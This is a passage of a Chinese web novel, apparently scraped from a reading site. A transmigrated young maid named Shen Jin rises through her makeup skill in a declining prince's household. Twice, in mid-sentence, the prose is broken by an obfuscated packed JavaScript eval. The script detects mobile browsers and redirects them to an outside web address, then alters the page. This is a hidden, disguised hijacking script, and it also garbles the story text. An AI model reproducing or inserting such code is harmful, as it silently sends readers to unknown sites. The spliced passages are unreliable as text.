本来梳妆房是不管丫鬟婆子的脂粉妆容的。这楚王府里的下人们都是自个儿化妆。但是想到上次瑾姐儿那般好的手艺,叶果心里痒痒,也想求着瑾姐儿给她画一个。 沈瑾正好下午闲着没事干,闻言立刻就答应下来,跟着叶果去了她屋里。 叶果是二小姐的贴身大丫鬟,有自己的单独一间房,屋子里的摆设也都精良得很,一整套的红枣木家具。 进门正对着的是一张素雅的屏风,一看便知是二小姐赏的。 屏风后面是单层木架子床,挂着黄白色的蚊纱帐子,边角还系着一条花色络子,右手边的柜子里放着衣物用品。 叶果一进屋便打开柜子门,拿出两个箱笼和盒子,利落地摆在屋子中间的红木圆桌上,盒子里塞满了各式各样的妆品、胭脂水粉。 “瑾姐儿,你尽管用,若是这些不够,我那箱笼里还有。” 叶果之前是亲眼看着沈瑾给二小姐画的妆,知道前期的准备是什么,这会儿已经把水盆和湿润的帕子都准备好了,胭脂水粉刷子什么的也摊开放在了桌子上。 “没问题,叶姐姐,保证给你画得,让你那情哥哥看了,都挪不开眼!” 沈瑾先是拿帕子擦干净了叶果的脸,又揉涂了面脂。胭脂唇彩是重点,今儿个叶果是去会情郎,那必然得挑一个娇俏点的颜色。 沈瑾选了活泼的桃黄和淡淡的莓红,两个颜色的胭脂混在一起衬得叶果如初春的嫩芽儿般鲜活,即娇俏活泼又浪漫应景。 叶果年纪不大,又是二小姐院里的贴身丫鬟,没干过什么重活,所以皮肤水嫩、没有黑眼圈,一会儿就画完了。 一画完,叶果就迫不及待地瞧着铜镜子里娇美的自己。 简直喜出望外,惊喜的不行,叶果高兴地叫起来。 “就知道找你肯定没错!这画的多漂亮啊,可好看了,你的手艺就是好。” 看着这般适合她的妆容,叶果都舍不得放下手里的镜子。 “瑾姐儿,你以后就别去什么梳妆房了,就专门到我们院子里做我们二小姐的梳妆丫鬟吧。” 叶果的心,此刻,彻底被沈瑾的画妆手艺折服了。她想着,若是沈瑾到了她们院子,成了二小姐的梳妆陪嫁,以后就可以天天蹭这么好看的妆了。 “瑾姐儿,以后你可千万要到我们院子里来呀。” 说完,就起身打开柜子,拿出一包做工精良的甜糕,递给沈瑾。 “这是我刚买的梅花糕,可好吃了,谢谢你给我画这么好看的妆,真是麻烦你了,这糕你就拿去甜甜嘴儿吧。” 沈瑾没有推拒,直接接过了甜糕。 这是叶果的示好,沈瑾若是想进二小姐的陪嫁队伍,这甜糕就推不得。 “多谢叶姐姐,我正想吃甜糕呢!叶姐姐你对我真好,你这般好的人,那情哥哥肯定特别欢喜姐姐。” 见沈瑾没有拒绝,嘴又甜,叶果高兴地笑弯了眼。走的时候,还又硬塞了一朵绢花,才放沈瑾离开。 回去的路上,沈瑾微微松了口气。 这叶果,如今算是被她沈瑾拉拢在手里了,接下来,就是想法子,让宋娘子教她画几个正妆了。 只要正妆一到手,区区一个梳妆陪嫁选拔,难不倒她沈瑾! 梳妆房近几日都没什么活,人手充足,沈瑾想请假,很容易。 沈瑾决定趁着假期,去市场把送给宋娘子的礼物都买齐了。 沈瑾才穿越过来没多久,虽然接收了执念的记忆,但对景朝的风俗、人情、习惯都还不太熟。 她不太清楚买什么礼最合适,买错了,怕得罪人,礼轻了,又怕宋娘子不喜欢,礼重的话,她就二两银子,也买不起。 也想过要不要问问金嬷嬷,可金嬷嬷贪钱,万一惦记她的钱,偷偷把钱给昧下了,那可怎么办。 想了半天,干脆买了几包市场上时兴的干果子,一包桃子干、一包苹果干。 还有一小袋暖房里的青菜。 景朝已经发明出了冬季种植反季节蔬菜的技术,建暖房。但效率不高,出产少,所以价格贵得很,平民百姓家很少舍得买的。 一小袋青菜,就花了沈瑾一两银子。 这可是重礼了。 另外还备了一条瘦肉和几尺布匹。 这布是梅花纹的,正是冬季的新品,卖得俏,做礼物很有面子。 这几样礼,二两银子,花了个精光。 沈瑾丝毫不担心礼物买回来会被金嬷嬷看见。 因为她就等着金嬷嬷发现! 晚上,金嬷嬷照样提前下了值,溜了回来。 刚一进门,桌子上摆着的几样好礼,就刺进了金嬷嬷的眼里。 “哎呀,我的心肝儿诶,你哪买的这些好东西啊,买这做啥?” 金嬷嬷鞋都没脱,就直接扑到桌子上,手里紧紧地捏着那一小袋青菜,大声地质问,仿佛花得是她的钱。 “你花了多少钱?你哪来得钱!!!” 眼睛狠狠地盯着沈瑾,好似想要盯出个洞来。 “这是我平日里攒的几文钱,还有二小姐赏的银钱。那袋子青菜是叶果姐姐借钱给我买的,将来得还这笔钱。” 沈瑾这般说辞,就是想给买礼物的钱找个明面上的由头,反正金嬷嬷肯定是不敢跑到二小姐的院子里去问的。 金嬷嬷听了这话,脸上动了动,眼睛转来转去。 瑾姐儿最近确实和二小姐院子里的叶果走得近,也得了赏钱。不过,这丫头还得靠自己生活,料想她翻不出什么花样来。 “好女儿,买这些礼,多费钱啊。不如,赏钱交给娘,帮你存着。娘不会害你的。” 金嬷嬷贪婪地上下扫了一眼桌上的礼品。 “娘,这些礼是送给梳妆房宋娘子的,请她教我点真本事,我好去姑娘院子里当陪嫁,挣银子孝敬娘。” 沈瑾知道这养母最是贪心,这些好东西,金嬷嬷是舍不得送给别人的,若是不下点饵料吊着她,怕是能把这桌子礼都私吞了。 “娘,听说姑娘院子里的梳妆丫鬟,月钱三两银子呢。到时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876032|159617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我都拿给您花。” 沈瑾嘴甜地哄着金嬷嬷,挑着好听的甜言蜜语往外说,把她迷得笑嘻嘻的。 沈瑾今天特地把礼物都摆在桌子上,就是为了显眼。 显眼到,金嬷嬷一回来就能看到。 只要她看到了,这鱼就上钩了。 瑾姐儿这具身体,现在才十岁,在宋娘子眼里,就是个黄毛丫头,说话没有份量。她自己一个人去,无论拎着重礼还是薄礼,宋娘子都会有所顾虑,不会收。她怕第二天金嬷嬷站在她家门口破口大骂。 唯有带上金嬷嬷一起去,叫人家知晓这是从大人手里认可过的,人家才敢收,才会认真起来。 可金嬷嬷是个什么样的人啊,又懒又贪,绝不会花自己的钱买东西给别人。 所以沈瑾才设下了今天这局。 她沈瑾钓鱼,以银钱贵礼为饵,愿者上钩。 “娘,你最好了,您和我一起去给宋娘子送礼吧。您在府里可有地位了,跟您一起,我也有面子嘛,那宋娘子见了您,肯定立刻就笑脸相迎。” 沈瑾拉着金嬷嬷的袖子,晃来晃去地撒着娇,甜言蜜语拍着马屁,直拍到金嬷嬷心坎里。 金嬷嬷平日里总和其他丫鬟婆子闲聊嚼舌根,就是为了享受别人都捧着她的得意样。 “哎哟,好吧好吧,你个小丫头,嘴滑得很。今天晚上,我就受累,带你去一趟。以后可要记住娘的好,进了姑娘院子,银钱都要拿来孝敬我,知道不知道?” 明明是为了享受别人的奉承,还装作自己辛苦受累。金嬷嬷一边在心里得意,一边嘴上打压瑾姐儿。 “知道的,娘,银钱都是您的。” 沈瑾笑眯眯地看着咬钩的‘鱼’。 金嬷嬷换了身好衣裳,便领着沈瑾去宋娘子家送礼了。 宋娘子看见,有一袋冬日里难得的青菜,很是高兴。 她的月钱和金嬷嬷的差不多,都是二两银子左右。 这样金贵的反季节青菜,她是舍不得买的。一小袋便要一两银子,即便是咬咬牙,买回来,也只能做一道小菜罢了,自己买,很不划算。 但别人送,就不一样了。 白得便宜的感觉,谁不喜欢呢。 这段时间相处下来,宋娘子对沈瑾越来越满意。 人机灵,眼里有活,会来事,嘴又甜。如今还送了这番重礼。宋娘子的态度好了很多。 “这么晚了,金嬷嬷劳累过来,多辛苦,快进来坐。” 待金嬷嬷进屋坐下、舒服的喝着茶时,沈瑾便抓住时机开口: “宋娘子,我自知天资愚钝,比不过脂奴,像春娘的陪嫁这样好的前程,就应该让脂奴去。” “我不跟脂奴抢。只求宋娘子教我画几个正妆,将来能混口饭吃。” 沈瑾知道宋娘子一直都防着她,就是担心她跟脂奴抢春娘的陪嫁位置。 那她就索性今天把话挑明,还顺道奉承了几句。 这话可谓是表态表进了宋娘子的心里,她最看重的就是这个。 而且她也想给女儿脂奴寻摸个助力,若是教了瑾姐儿,就赚了一个人情。这瑾姐儿很有眼力见,将来有什么事,也能当当脂奴的帮手。 只教几个正妆的画法,又不教独家秘笈,威胁不到脂奴。 再加上,收了人家的重礼,要是宋娘子再不同意,面子上也过不去,金嬷嬷嘴皮子厉害着呢,宋娘子可不想跟她撕破脸皮。 5. 第 5 章 【死亡倒计时:80天】 自此以后,宋娘子教画正妆的时候,终于不再把沈瑾赶到门外了,而是叫她坐在脂奴旁边,一起学画景朝正妆的规矩。 “脂奴、瑾姐儿,你们过来看我画眉······” 梳妆房桌子上散开摆着几盒胭脂水粉,各种妆品的香味弥漫开来,混在一起,熏得衣服都是甜的。 宋娘子拿着螺黛、对着铜镜,比照自己的眉型教画正妆。一边画一边传授着里面的门道。 这景朝的正妆规矩多的很。 单就一个画眉来说,不可过于上挑、显得太锋利,不可过于低垂、显得不气派。还要根据夫人小姐的身份地位,调整眉尾的高度,同时还得好看出彩。 这些还都只是明面上的条条框框,那些暗地里意会的默认细节,更麻烦。 着实难画。 若没有人领着入门,单凭自己,三个月绝对摸不清。 宋娘子想教沈瑾她们俩怎么画眉,她画,让两人坐在旁边看着学。 “这眉尾不可过高,画高了,就显得人凶气。” 比如王府里的大小姐春娘,身份尊贵,若是出门和手帕交参加百花宴,眉尾就得挑端正温婉的模样画。 正妆的画眉有多种讲究,温柔的有柳叶细眉、点娥眉、弯月眉······英姿的有长锋眉、平野眉、远山眉等等。不同场合身份,画不同的眉形。 画妆教学对经验丰富的宋娘子来说,信手拈来,讲得头头是道。 一旁的沈瑾和脂奴听得连忙点头,生怕听漏了。 沈瑾还从旁边捞了一张纸,一边看一边听,还一边拿毛笔记下来,写字写得飞快。 准备晚上回家,继续复习复习。 “小姐们的眉大多都往那温柔类的画,但是像咱们王府里的大夫人······” 讲到这里,宋娘子突然收了声音。 也不继续讲课了,只斜着眼睛看沈瑾,梳妆房里一片寂静。 ······ 沈瑾马上反应了过来! “宋娘子,我突然想到,二小姐院子里还缺一盒面脂,现在怕是已经等急了。” “我这就先给二小姐送面脂去,今天的课大概是听不成了,还请宋娘子谅解。” 宋娘子听了,警惕的眼神舒展下来,满意地点点头。 这金嬷嬷家的女儿,还挺识趣的。 其实,哪有什么‘二小姐院子缺面脂’,不过是沈瑾找的一个借口罢了。 为的就是,轮到宋娘子教导备妆的时候,自觉知趣地退出梳妆房。 毕竟这备妆手法、揣摩夫人小姐的心意喜好,是宋娘子的独门秘籍,是万万不可能教她的。 若是死皮赖脸的留在那儿,学不到什么东西不说,还遭人嫌。 宋娘子嘴上不说,心里也会不高兴。万一给她使个绊子,教正妆的时候,留一手,那真是没处说理去。 况且宋娘子愿意教她画正妆,就已经足够了。 所以,与其遭人赶,她不如主动找个借口去其他地方跑腿。 而且,这个‘去二小姐院子送面脂’的借口,还很正经,叫人听了,抓不着她的把柄,算不上旷工,也全了宋娘子的面子。 沈瑾一边溜达一边左右瞧瞧,脚踢着小石子,消磨时间。 既然找了个送面脂的借口,装也得装像样一点。 起码等过一盏茶的功夫,再回梳妆房去。 沈瑾走在路上,正无聊着呢,突然听到有人焦急地喊着她,声音从远处传来: “瑾姐儿,瑾姐儿,这边!” 来人正是二小姐的贴身丫鬟,叶果。 话音还未落,叶果就扑到了眼前,气喘吁吁,晃得发髻上插的绢花都散了边。 “可算找到你了,瑾姐儿,快和我走,咱们院子就指望你呐!” “哎哎,好姐姐,我一定跟你去,但你先跟我讲讲是什么事呀,我好准备准备嘛。”沈瑾赶紧扯住自己被拉拽的袖子,安抚急急慌慌的叶果。 “哎呀!来不及了,先跟我走,路上再说!” 说着,沈瑾就含拉带拽地被叶果薅走了,一路上,步子迈得飞快。 原来,楚王爷从都城回来了。 虽然,楚王爷的封地远在南疆边境、楚王府一脉也逐渐落魄,但毕竟是从皇室分封出去的,每隔几年还是得禀遵皇命,去都城述职,凑一个面子上好看。 这不,楚王爷今年秋季就出发去都城了。一去已有三月有余,是时候回来了。 再不回,怕是要下大雪了,那就得在都城过年了。 楚王爷刚回府,正休息。但身为儿女,过会儿肯定要去给王爷请安。 这个时候就要用到梳妆娘子了。 但二小姐向来不受王爷夫人喜欢,府里的下人们都不愿意上赶着讨好二小姐的院里人。 梳妆房,也一样。 宋娘子她们此时肯定已经得到消息,估计正收拾东西准备去春娘院子里献好呢。 现在若是想要梳妆房派个妆娘过来,那怕是难上加难。 平时倒是可以让院子里的几个小丫鬟一起画画,凑出一副妆容来,反正没什么人看见。 但这回不一样,今天是正正经经、规规矩矩地去给王爷请安。 若是出了岔子,可怎么办啊! 叶果急得直打转,恨不得哭出眼泪来。二小姐也惨白着脸,扶着额头,无力地靠在榻上。 突然,二小姐灵光一闪。 “快,去把之前给我画妆的那个小丫鬟找过来,上次她画得就挺好的。” “这又在梳妆房学了几天,应该更不错了。” 这句话瞬间就让叶果有了希望,喜笑颜开,皱着的眉都舒展开了。 “对对对,小姐您真聪明。我这就去梳妆房找她。” ······ “宋娘子,我们大姑娘说了,今儿个要画一副正妆,给王爷请安。” 人未到,声先达。 大小姐春娘院子里的翠玉,人还没走到梳妆房呢,声音就已经砸进梳妆房宋娘子母女俩的耳朵里。 “翠玉姐姐你来了呀······快快,快请坐。” 正在教导脂奴如何备妆的宋娘子,一瞅见翠玉进来,立马就来了精神,暗地里推了推站在旁边的脂奴,示意她赶紧端个凳子过来。 还让脂奴用新帕子擦了擦凳面。 翠玉轻蔑地瞥了一眼,好似看见什么掉价的脏 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这翠玉欺负人,欺负惯了,看见宋娘子不接茬、不好好奉承她,便立刻拉下脸,阴阳怪气地骂起来: “宋娘子,你也在梳妆房干了这么多年了,如今怎么连备个妆,手脚都这么慢。” “这都来了好一会了,还要我继续等你?” 宋娘子也不是那无限忍让的人,翠玉一而再再而三的骑脸找骂,还想她好好干活?想的美! 宋娘子面上继续维持着表情,手里却转了个弯。 把原本准备的新胭脂换成了去年的陈货,兔毛软刷也换成了质量差一截的。表面上看不出来,但上妆效果却会逊色一些。 到时候若是追责起来,就都推到翠玉身上,谁叫她不给好脸。 “好了好了,翠玉小姑娘,我们现在就去大小姐院里。” 翠玉瞧着她,冷笑了一声,扭着身子走了。 此时,沈瑾早已经因为主动避嫌、找借口,而离开梳妆房,去外面溜达了。 “啊——梳妆房怎么落了锁?” 急匆匆赶来的叶果,恰恰好错过了宋娘子她们,吃了个闭门羹,自然没找到沈瑾。 气喘吁吁地叶果,顿时慌了。这可怎么办呀? 情急之下,叶果只想着要找到沈瑾,便跑起来在周围找人。 这就有了先前那一幕,叶果跑得气都喘不匀、话也说不顺,只知道紧拽沈瑾衣袖,拉她去二小姐院子里。 很快就到了二小姐秋娘的院子。 知道为什么要画妆的沈瑾,心里已经有了决断,手上也不拖沓,坐在秋娘面前,便直接一字摆开画妆工具、脂粉软刷。 秋娘着装打扮向来清素,这没什么问题,但对于事务繁多、儿女成群的楚王爷来说,就不显眼了,没什么印象,也不讨喜。 这次请安虽然慎重,但也是惯例罢了。 对二小姐,是惯例。 但对她沈瑾来说,却是一道决定生死的坎儿。 三个月的死机,能否逆转,第一步在进梳妆房、第二步在拉拢叶果,接近二小姐。 第三步,就在这里! 6. 第 6 章 这次,必须让二小姐的妆容端庄清雅又显眼,二小姐秋娘能出头,她沈瑾就能搭上二小姐这艘船,驶向都城。 沈瑾先选用了淡粉色玫瑰花面脂,遮一遮二小姐因为着急而发白的面色。又用兔毛刷子一点一点地把香粉按进肌肤里,扫走多余油脂。再拿浅螺黛画了弯叶眉,搭配点淡绿的胭脂,轻轻扫在眼角眉梢。 咋一看,好似没画妆,但在不经意间却显得十分精致,仿佛开了美颜滤镜。 尤其是涂抹在卧蚕上的亮晶石粉,让二小姐的眼睛非常有精神气,顾盼生辉,眼波流转间,很是能吸引人的目光。 再配上蜜桃色的水润唇脂,一瞬间,诗书字画里的清雅仕女就活过来了。 叶果在一旁看得五体投地,佩服得直鼓掌。 “太好看了!太漂亮了!这次的妆容比上次还要好看!” “瑾姐儿,你真是会画妆!” 二小姐也甚是满意这次的妆容,和她的风格很合适,挖掘出了她文雅迷人的一面。 “瑾姐儿,你的手艺越来越好了,这次画得妆,我非常喜欢。这好像画进了我心里一般。” 花花轿子人人抬。 沈瑾看二小姐这么喜欢自己画的妆,又诚心实意的夸奖自己,也开心地捧着: “主要是二小姐天生丽质,只有您这样好看的姑娘,才能让这‘雅竹妆’如此光辉闪亮。” 秋娘听了,更加高兴满意了。 二小姐秋娘看着镜子里清雅灼目的自己,心里一动,突然有了个想法: “瑾姐儿,你刚进梳妆房,还没有以后的去处吧?” “要不要来我院子里,当我的梳妆丫鬟?” 终于来了!!! 沈瑾,一听到这话,激动得都快跳起来。但事情还没完全成,得装作稳重一些。 “谢谢二小姐!我愿意!” 沈瑾掐了一把大腿上的小肉肉,勉强压下去了心里的雀跃之情,赶紧回应道: “能给二小姐梳妆,是我的福气,以后我就是二小姐的人啦,太开心啦!” 一话定音。 这事就这么定了,她沈瑾的小命,有指望了! 不过,姑娘们的院子里若想要添人,还得大夫人王氏点头。 画完妆,天色已经不早了,丝丝缕缕的晚霞出现在天际。 各院子的姑娘主子们,都差不多出发去给楚王爷请安了,梳妆房也没什么活。 沈瑾便下值,回家去了。 花开两朵,各表一枝。 另一边,楚王府正院,灯火通明。 王府正院为楚王爷和大夫人王氏居所。整个正院宽敞富丽,四角高高的梁柱支撑着雕花的房梁,屋顶覆着琉璃瓦,富贵荣华。 院里正中央摆放着一套贵气的紫檀木太师椅,雕刻着繁复的龙凤祥纹,扶手处有几处微微磨损。上面铺着锦缎靠垫,椅旁两侧对称摆放着精美的圆鼓墩。地面上还铺着一块厚实的羊毛地毯,边缘绣有织金祥云纹。 正院装饰的金光闪闪、尊显出楚王府的富丽堂皇、天家气派来。 但细一看,却发现不少的摆件陈旧破损,丝绸锦纱也没有多少光泽。 可见,楚王府确实落魄了。也难怪觉得,能与都城侯府结亲,是一件好婚事。 毕竟,按照常理来说,皇室血脉联姻侯府,算是下嫁了。 楚王爷年过五旬、鬓角泛白,穿着一件深紫色的绸缎蟒袍,腰间的肥肉多得快挤出来,玉带都被掩盖住了。此时正坐在正厅中央的太师椅上,脸上的肌肉微微松弛,透着一丝刚赶路回来的疲惫。 “春儿,这几个月在家里备嫁的如何啊?”楚王爷笑着关心道。 虽然孩子很多,庶子更不少,但春娘是他第一个女儿,难免疼惜些。 而且春娘嘴甜,最是讨他的欢心,就比如今天请安,大姑娘春娘,是第一个到的。 “爹,您一路风尘,真是辛苦了,春儿来给您请安啦。” 春娘的声音仿若裹了蜜,撒着娇地转进来。 大姑娘春娘身穿百花绕蝶织金袄、搭了一条大红色的绣花马面裙,头上插着一整套梅花金簪子,手腕子上还戴了个水头十足的玉镯子。 春娘一进院子就往楚王爷的身边靠,侧坐在太师椅旁的小圆墩上,嘴上说着哄楚王爷开心的话,手上也不停歇,讨巧地伸出手给楚王爷捶腿。 春娘,想多讨讨王爷的欢心,好在开春嫁到都城侯府时,能多拿些嫁妆。 毕竟楚王府已落魄,若是嫁妆再少,那叫她如何在侯府立足。 “爹,您看,我今天专门叫人画的妆,好看吗?特地为了迎接您回府画的呢。” 春娘微微转了转脖子,调到精心估算的角度,让光照在脸上,露出这个妆容最漂亮的样子来。 若是能讨得王爷开心,给她再加点添妆就好了。 “春儿今天的妆甚好看,就是······” “春儿,你最近身体是不是不舒服,怎么脸色这么晦暗?” 楚王爷本想按照往常一样,直接夸两句,但话还没说完,就发现春娘今天面色暗淡,好像涂了一层灰。 “好春儿,备嫁不要有压力,若是身体出了毛病,早点叫大夫来医治,别耽误了出嫁日子。” 楚王爷面上不显,还是慈眉善目地关爱着大女儿,但心里已经有点愠怒。 楚王一脉已经落魄,这次与都城权贵结亲,是他难得的能重新回到权力核心的机会,这个大女儿平时看着聪敏,怎么临门一脚了,却犯了糊涂。 若是坏了他的好事······ 楚王爷眯起来的眼睛,慢慢透露出一丝凶光。 “定是那梳妆房的奴才不好好办事,偷懒,没仔细画妆。” “爹,我没病,这段时间,我一直按时找大夫请平安脉。王爷,您相信女儿呀,女儿真的没有生病啊。” 大姑娘春娘感受到王爷话里的敲打,顿时就慌了手脚,急得赶紧证明自己。 春娘如今的炙手可热,都是依靠楚王爷和大夫人才有的。两人的宠爱是春娘唯一的依仗,也是她绝不能失去的东西。 即便是一丝一毫的晃动,都让她慌乱不已。 楚王爷简简单单的一句关心身体的问话,就戳破了春娘鲜艳张扬的外表。 “嗯,还是要好好保重身体,备嫁可不能出乱子啊。父王这次去都城,见到了侯府长子,相貌堂堂、一表人才。你得好好抓住这次机会。 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摇摇头,还是先去给楚王请安吧。 随后,几个养在偏院的庶子庶女也跟着去请了安。 而二小姐秋娘,则是掐着点儿,赶在了最后一个到正院去。 倒不是秋娘拿乔、或者失礼。而是秋娘惯常的脾性,不太适应这种紧张社交的场合。 她不喜欢和其他姐妹兄弟明争暗斗、勾心斗角地争宠。嘴皮子也不是那么利索,每逢其他姑娘拉踩打压她,秋娘总是说不过别人,气得心口疼。 时间长了,索性便不愿早早去干等着,只当最后一个到,请了安就走。 用现代的话来说,就是社恐。 楚王爷也知道她的性格,这二女儿就是养成了畏畏缩缩的样子,穿着打扮也素的很,即没存在感,也不讨喜。 楚王爷也不想看到这样没皇家气度的女儿,碍眼,便默许了秋娘迟来早走。 只是今日,秋娘倒是不同。 “爹,女儿向您请安好。” 秋娘一改往日死气沉沉的模样,变得光彩照人,气质清美。 一进门,二小姐秋娘就吸引住了院内所有人的目光。 淡绿色锦裙绣着青竹纹样,文雅书卷气十足。尤其是妆容,精美细腻得仿佛天生长在二小姐脸上一样。漂亮、端庄又有勃勃生机,衬得二小姐像从书里走出来的仕女一般。 可以说完全符合了文人墨客心目中的理想妻子模样。 楚王爷惊讶得的细缝眼都睁大了。 没想到啊,二女儿还有这样的一面。 瞬间,楚王爷就想到了,在都城听到的传闻,国公府的次子,到成婚年龄了。 虽然这国公府次子,是众人皆知的纨绔。欺男霸女、违法乱纪、流连花场,可谓是无恶不作。 但没关系啊,是国公府的就行啊。 国公爷是皇上身边的红人、最信任的人,如今权力滔天。 若是能和国公爷攀上亲,让他在皇上跟前美言几句,说不定自己就能······嘿嘿。 7. 第 7 章 楚王爷心里算盘打得哗哗响,心里的想法也显在了脸上,贪婪的目光扫视着秋娘全身。 看的不是女儿,是前程、是他楚王爷的权力。 楚王爷破天荒地第一次握住了二女儿的手,很是热情地笑着说: “秋儿啊,最近在府里怎么样啊?多吃点好的,别饿坏了身子啊。” 才关怀了几句,就露出了马脚: “秋儿今年满十六了吧,也是时候······嗯,咳咳,今天这妆画得真不错。” 楚王爷虽然愚蠢贪婪,一时激动漏了两嘴,但毕竟是混了多年的老油条,很快就转移了话题,聊起了画妆。 秋娘也当作没听见前面几句,她不愿费那心思去想这些弯弯绕绕。 “回王爷的话,这是女儿的梳妆丫鬟瑾姐儿,给女儿画的新妆,庆贺爹平安归来。” “好好好,画得好,这梳妆丫鬟当赏!哈哈哈哈哈” 楚王爷一听,妆居然是府里的丫鬟画的,高兴地直拍桌子,大声宣布赏瑾姐儿一个月的月钱。 为什么? 因为,‘府里的丫鬟’意味着稳定、好掌控啊。 只要瑾姐儿能一直画这种妆,他楚王爷就可以吹嘘他二女儿秋娘乃天人之姿,清雅文美。 到时候,就能打着‘文人墨客最理想妻子’的名号,把秋娘推销出去。 啊,不是,是嫁出去。嫁到国公府去。 国公爷特别头疼次子纨绔跋扈,早就想着找个知书达礼的贤淑贵女,管一管他。 但一直没找到合适的。国公爷看上的,别人都避着名声不接这茬。 别人不接,他楚王接! 管他纨绔、管他是不是良婿,只要能沾国公府的光就行! “谢谢王爷,女儿代瑾姐儿拜谢王爷赏赐。” 二小姐秋娘是真心为沈瑾感到高兴,自己的未来丫鬟得赏,主子脸上也有光。 瑾姐儿的画妆手艺真好,能帮她赢得王爷的关注,而且性子极好,从来不曾看轻了她。 秋娘坐在正院大厅的角落,心里默默地想着: ‘若是瑾姐儿能顺利到她的院子里来,该有多好’。 秋娘的心,此刻算是彻底被瑾姐儿折服了。 正院里,姑娘少爷们争相讨好卖巧,给王爷请安,其乐融融。 但大姑娘春娘的院子里,可一点都不“乐”。 ‘啪————” 名贵的瓷瓶、瓷器碎了一地,尖锐的碎片渣炸得满屋子都是。 “说!到底是怎么回事,今天我的妆怎么会这么难看?” “要是说不出个三二一来,你们这些没用的东西,都拉出去卖了!” 大姑娘春娘气得快炸了,额头旁的青筋都爆了出来。 连骂带吼得质问随身的丫鬟婆子们。 屋子里,丫鬟婆子跪了一地,个个都低着头,生怕大小姐盯上自己,拿自己出气。 跪在最前面的小丫鬟,瑟瑟发抖,怕得眼泪直往下掉。 “不知道啊,小姐,我们真不知道啊,奴婢冤枉啊。” 丫鬟婆子们生怕大姑娘真的把他们卖了,连忙磕着头,大声地叫着求饶。 “不知道?!你们怎么可能不知道!一群废物!” 春娘一听这话,更生气了,怒火直上心口,指着这群奴才,破口大骂。 ‘哗啦——砰——’ 甚至还不解气,又把柜子里的瓷碟子都扔出去,摔了个粉碎。 “你!翠玉,你说!” 春娘气极了,直接指向贴身的大丫鬟翠玉。 翠玉顿时就慌了神,眼睛都不知道该往哪儿看,双手胡乱的摆着,赶紧为自己解释: “小姐,不是翠玉做的啊,今天的妆容是梳妆房的宋娘子画的呀!” 春娘压根不相信翠玉的解释。 这些年来,宋娘子办事认真利落,从未出过什么大岔子。而且春娘知道,宋娘子想把女儿塞进她的陪嫁队伍里,讨好她还来不及,怎么可能给她画这么难看的妆。 “是真的呀,小姐。肯定是那梳妆房的宋娘子暗地里动了手脚。” “下午我去梳妆房,让她来咱们院子里,她就拖延时间,我还看到她转过身,背对着我,鬼鬼祟祟的,手里不知道在捣鼓什么。” 春娘听了这话,又看了翠玉一眼,也有些动摇了。 毕竟翠玉神色很着急,不像是说假话。而且是自己贴身的大丫鬟,伺候了自己这么多年,还是可以信任的。 “小姐,您要相信翠玉啊,翠玉对您是忠心耿耿啊。” 翠玉一看大姑娘的神情有所缓和,立刻就从地上爬起来,抱住大姑娘的腿,给她捏脚。 “哼,看你还算听话。以后好好办事,再出这种岔子,唯你是问。” “其他人这个月的月钱,别想要了!” 春娘发了一通脾气,脸色阴沉的坐在桌前,死死地盯着梳妆房的方向: “至于那个老玩意儿,连妆都画不好,要她还有何用?!” “今天爹爹才回来,不宜惊动,就先让那宋家的快活一晚,明天一早,打死那犯贱的玩意儿!” “是!小姐!” ······ 夜色渐深,请安的各院主子们,都挨个挨个回了自个儿的院子。 二小姐秋娘今天容貌清美,讨得王爷开心,的消息也随着飞到了整个王府的人的耳朵里。 沈瑾会画妆,还画得特别好,都得了王爷赏赐,也在下人院子里传开了。 “好女儿!你真给娘长脸,那赏钱,娘给你存着啊嘿嘿嘿。” 金嬷嬷一把推开东角屋的大门,高兴地手舞足蹈。 满身酒气,醉得话也说不太清,大抵是刚才又跟婆子们吃酒吹牛去了。 吃着吃着,就听到了沈瑾得赏的消息,一边享受着婆子们的吹捧,一边心里惦记着赏钱,喝得晕晕乎乎地回来了。 “女儿能有今天,都是娘养的好,这钱,娘拿去花吧,是女儿孝敬您的。” 沈瑾这次没有再拒绝金嬷嬷,而是哄着捧着,主动把钱给了她。 既让她高兴,又让她认识到,这钱是沈瑾主动给的。 因为,金嬷嬷这个人,没什么脑子,若是长时间吊着,不给她点真的甜头尝尝,‘这条鱼’可能会脱钩啊。 一张一弛才是正道。 她沈瑾,现在还离不得金嬷嬷这个保护伞,所以即便是赏钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876035|159617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到不了她手上,也还是要好好哄着金嬷嬷。 “哈哈哈哈哈,好,好!好女儿。嘿嘿。” “给,嗯,给我打盆水来。” 金嬷嬷醉得满脸通红,昏昏沉沉得趴在桌子上,嘟囔着吩咐了一句。 沈瑾知道,养母现在这个状态,估计是折腾不动了,便拢了拢衣服,推开门,去院子里接水去了。 “咚,咚,咚······” 几声,规律又轻柔,的敲门声,从院子门口传来。 原来是二小姐的大丫鬟叶果来了。 “瑾姐儿,我院里的二小姐,让我来给你送赏钱。” 今晚上的叶果,与往常似乎不太一样,神色飞扬,很是激动。 一双眼睛,亮晶晶地盯着沈瑾看。 她把袖子里拢着的一串铜钱递给了沈瑾,铜钱很干净完整,一看就是用心挑选了的,连带着的还有几朵时兴的绢花,还是绸子做的呢。 “这赏钱是二姑娘给你的。你化的妆太好了,今晚咱们小姐给王爷请安的时候,可出了风头呢。” “王爷都夸咱们小姐好看漂亮,还说你化的妆甚好呢。” 叶果的声音里都带着笑意。 